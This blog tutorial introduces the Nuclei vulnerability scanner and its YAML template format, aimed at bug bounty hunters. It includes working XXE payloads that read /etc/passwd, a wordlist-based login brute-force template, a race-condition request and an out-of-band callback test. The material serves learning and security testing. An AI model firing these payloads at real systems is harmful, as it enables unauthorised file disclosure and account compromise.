Nuclei 101: Getting Started with Automated Vulnerability Scanning

Bug bounty programs have become increasingly popular in the world of cyber security, where companies offer rewards to the public for testing their web applications for security vulnerabilities. Bug bounty hunters, also known as ethical hackers, play a crucial role in helping companies identify and address potential security issues. However, manual bug hunting can be time-consuming and resource-intensive, which is why automating the task is crucial.

Nuclei is a powerful tool that has gained a reputation for its effectiveness in automating vulnerability scanning. It has become a go-to tool for many bug bounty hunters, thanks to its flexibility and ease of use. By providing a customizable framework for testing different web application security checks, Nuclei makes it easier for bug bounty hunters to identify vulnerabilities quickly and accurately.

What is Nuclei?

Nuclei is a powerful open-source tool designed to automate vulnerability scanning for web applications. Leveraging YAML templates, Nuclei can effectively execute specific security testing scenarios. While it’s popularly used by red teams, Nuclei can also be beneficial for blue teams, as it can be seamlessly integrated into CI/CD pipelines to enable automated vulnerability testing.

Why use Nuclei?

Nuclei is an impressive open-source project with a large community of contributors, making it free for everyone to use. However, it is worth noting that Nuclei is not a standalone tool and requires a template to run. Fortunately, with over 5000 default templates included, users can start using Nuclei right away with ease.

One of Nuclei’s significant advantages is its simplicity and versatility in supporting various protocols, such as TCP, DNS, Websocket, HTTP, SSL, and more. Nuclei also utilizes “template clustering” to optimize requests to the target server, which can reduce network traffic substantially. By trimming identical requests to the same endpoint, Nuclei avoids making duplicate requests, which can save time and improve overall efficiency.

When executing a template, Nuclei includes a block called “‘info,” which provides users with information about the severity of the vulnerability detected. With this information, users can easily access relevant resources to take appropriate action promptly.

Templating guide

In this section, we are going to learn the basics of templating in Nuclei. While it won’t cover everything, this may help you get the idea how to make your own template for later use as this is the most important thing to learn about Nuclei.

If you have read our previous article about [Ansible](https://binaryte.com/blog/ansible-101-an-introduction-to- automation), you may already know what the YAML file is. The YAML file format is designed to be easily read and understood by humans, allowing the users to define the specifics of how the request will be sent and processed. Thus, users do not have to code by themselves in order to run vulnerability tests automatically.

ID

Each template is assigned a unique ID, which is used to identify the template name in the output, making it easier to associate the detected vulnerabilities with their corresponding templates. ID cannot contain space.

id: xxe-retrieve-file

Information

This section is what we have talked about earlier which contains information including name, author, severity, description, reference, tags and metadata. reference is the most useful tag in this block as it can let you define external sources for further reference. The tags tag can also be useful to identify template and by defining it you Nuclei would be able to run specifically based on the tags you are using.

info:
 name: XXE Retrieve File Vulnerability
 author: abc
 severity: high
 description: Injecting XXE to read content of /etc/passwd file.
 reference: https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files
 tags: xxe

Metadata

Nuclei supports integration with uncover for passive reconnaissance processes such as Shodan and Censys. The metadata node is structured like this: <engine>-query: '<query>'.

info:
 metadata:
   shodan-query: 'vuln:CVE-2022-25312'

Requests

Nuclei offers flexibility of how you can craft your own requests. The request block is started with the requests tag.

Raw requests

By using raw requests, you can specify the method, header, body, and use the expected output using the matchers. You can test the following request [here](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to- retrieve-files) which basically exploits the XXE vulnerabilities to retrieve /etc/passwd file.

requests:
 - raw:
   - |+
     POST {{RootURL}}/product/stock HTTP/2
     Host: {{Hostname}}
     Content-Type: application/xml

     <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
   matchers:
     - type: dsl
       dsl:
         - 'contains(body, "Invalid product ID:")'

**Base requests **

The above example can also be written by following the base request template instead of raw request. Both work in the same way.

requests:
 - method: POST
   path:
     - "{{RootURL}}/product/stock"
   headers:
     Host: {{Hostname}} #if not work, hardcode the target host (e.g. 0a97002104d90750c05178be00bb00d3.web-security-academy.net)
     Content-Type: application/xml
   body:
     "<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE test [ <!ENTITY xxe SYSTEM 'file:///etc/passwd'> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>"

**Payload and fuzzing **

Sometimes, you want to fuzz any found parameters. You can add the parameters as a variable name that is defined between $ $ or {{ }}.

requests:
 - raw:
   - |
     POST {{RootURL}}/login HTTP/2
     Host: {{Hostname}}
     Content-Type: application/x-www-form-urlencoded
     username={{username}}&password={{passwd}}

   redirects: true
   payloads:
     username: username.txt
     passwd: passwd.txt
   attack: pitchfork

   matchers:
   - type: status
     status:
       - 302

You can use any wordlists and specify it in the payloads tag. Nuclei supports three different kinds of attack, including batteringram, pitchfork, and clusterbomb which work the same way as the classical burp intruder attack.

To simplify, say that the text files above (username & passwd) contain the following wordlists.

username	passwd
a	d
b	e
c	f

Each type of attack would combine both files differently.

**Battering Ram (single) **

Battering ram only requires a single wordlist. Assuming we only have a username wordlist, the format will look like this.

1st request: username=a&password=a
2nd request: username=b&password=b
3rd request: username=c&password=c

**Pitchfork (multiple) **

This kind of attack enumerates multiple parameters at the same time, based on the word’s index.

1st request: username=a&password=d
2nd request: username=b&password=e
3rd request: username=c&password=f

**Cluster Bomb (multiple) **

Cluster bomb is an extremely resource intensive kind of attack as it iterates all possible combinations of multiple wordlists. the

1st request: username=a&password=d
2nd request: username=a&password=e
3rd request: username=a&password=f
4th request: username=b&password=d
5th request: username=b&password=e
6th request: username=b&password=f
7th request: username=c&password=d
8th request: username=c&password=e
9th request: username=c&password=f

Understanding how each works is important as it can easily break the template. For example, pitchfork and clusterbomb expects multiple templates. The above example uses pitchfork attack type, hence using two wordlists. Failing to follow this, will result in your template fail to compile.

**Smuggling **

It is also possible to do HTTP request smuggling with Nuclei. This kind of vulnerability is difficult to detect as the request is malformed by default. Because of the nature of this attack, the sent request is “broken” and to send the request you need to use the raw http engine followed by the unsafe: true attribute.

**Race Conditions **
Race conditions are quite difficult to implement in some automation tools, yet Nuclei makes it very simple to use. To enable race conditions, you can set the race attribute to true, and specify the number of requests will be repeated with the race_count attribute.

requests:
 - raw:
   - |
     POST {{RootURL}}/promo HTTP/2
     Host: {{Hostname}}
     Content-Type: application/x-www-form-urlencoded
     promo_code=20_off

   race: true
   race_count: 5
   matchers:
   - type: status
     status:
       - 200

Out of Band Testing

Nuclei has support for interact.sh APi. Interactsh is an open source tool designed specifically for out of band interactions. {{interactsh-url}} supports http and network requests.

requests:
 - raw:
   - |
     GET {{RootURL}}/oauth/user?redirectUri=https://{{interactsh-url}}
HTTP/2
     Host: {{Hostname}}

   matchers-condition: and
   matchers:
   - type: word
     part: interactsh_protocol # Confirms the HTTP Interaction
     words:
       - "http"

   - type: word
     part: interactsh_protocol # Confirms the DNS Interaction
     words:
       - "dns"

   - type: regex
     part: interactsh_request # Confirms the retrieval of /etc/passwd file
     regex:
       - "root:[x*]:0:0:"

Workflows

Workflows define the sequence for the running template which will be helpful as Nuclei works best on specific configurations based on user needs. It is inefficient to run the whole template at once on any technology adopted by the target website. Workflows help the user specify certain templates and actions based on the known tech stack on the target website, improving scanning efficiency by lowering scan times.

**Generic workflows **

The template that wants to be included and run, can be specified directly by its filename or by the directory project as input.

workflows:
  template: files/xxe-vuln-check.yaml
  template: exposures/

**Conditional workflows **

As the name suggests, conditional workflow lets the templates be executed after the previous condition from the previous template is met.

**Templates based **

Templates get executed once another template condition is matched.

workflows:
 - template: jira-detect.yaml
   subtemplates:
     - tags: jira
     - template: exploits/jira/

**Matcher name based **

Templates get executed when the base template finds any result.

workflows:
 - template: tech-detect.yaml
   matchers:
     - name: wordpress
       subtemplates:
         - template: exploits/wp-vuln1.yaml
         - template: exploits/wp-vuln2.yaml

**Subtemplate and matcher name based **

This workflow is useful if you want to chain template execution if the previous condition is met.

workflows:
 - template: tech-detect.yaml
   matchers:
     - name: wordpress
       subtemplates:
         - template: exploits/wp-vuln1.yaml
           subtemplates:
             - template: cve/aa-bb-cc.yaml

Summary

There is much more to learn about Nuclei which can be learned by referring to the documentation. After all, it is a powerful open-source tool that automates the detection of potential vulnerabilities in web applications. Highly customizable nature makes it very ideal for specific use cases. This is also a community-driven tool which benefits from the contributions and feedback of a large community of users.

Nuclei empowers users to swiftly and efficiently address security issues with its seamless integration into existing workflows and detailed reports on detected vulnerabilities. Its versatility, user-friendly interface, and comprehensive feature set make it stand out amongst web security practitioners.